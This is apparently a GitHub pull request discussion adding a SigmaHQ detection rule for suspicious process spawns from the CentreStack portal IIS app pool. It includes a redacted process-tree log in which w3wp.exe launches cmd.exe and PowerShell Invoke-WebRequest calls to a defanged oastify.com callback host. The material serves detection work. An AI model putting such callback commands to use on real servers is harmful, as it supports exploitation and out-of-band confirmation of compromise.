new: Suspicious Process Spawn by CentreStack Portal AppPool

[RG9n]

Summary of the Pull Request

We have observed exploitation of this in the wild today. This rule was crafted based on that exploitation.

Changelog

new: Suspicious Process Spawn by CentreStack Portal AppPool

Example Log Event

We haven't seen any false positives yet, for redaction reasons cannot share the log execution that came after here.

Fixed Issues

SigmaHQ Rule Creation Conventions

• If your PR adds new rules, please consider following and applying these conventions

[frack113]

Hi,
Can you give some references and a "redacted" log ?
Thanks

[RG9n]

Hello @frack113 , here is a redacted log:
|----w3wp.exe IIS APPPOOL\portal 15100 w3wp.exe -ap "portal" -v "v4.0" -l "webengine4.dll" -a \.\pipe\redact -h "C:\inetpub\temp\apppools\portal\portal.config" -w "" -m
| |----cmd.exe IIS APPPOOL\portal 14784 cmd.exe /c powershell.exe Invoke-WebRequest -Uri hxxp[://]redact[.]oastify[.]com/redact
| |----powershell.exe IIS APPPOOL\portal 1240 powershell.exe Invoke-WebRequest -Uri hxxp[://]redacted[.]oastify[.]com/redact
| |----conhost.exe IIS APPPOOL\portal 6604 conhost.exe 0xffffffff -ForceV1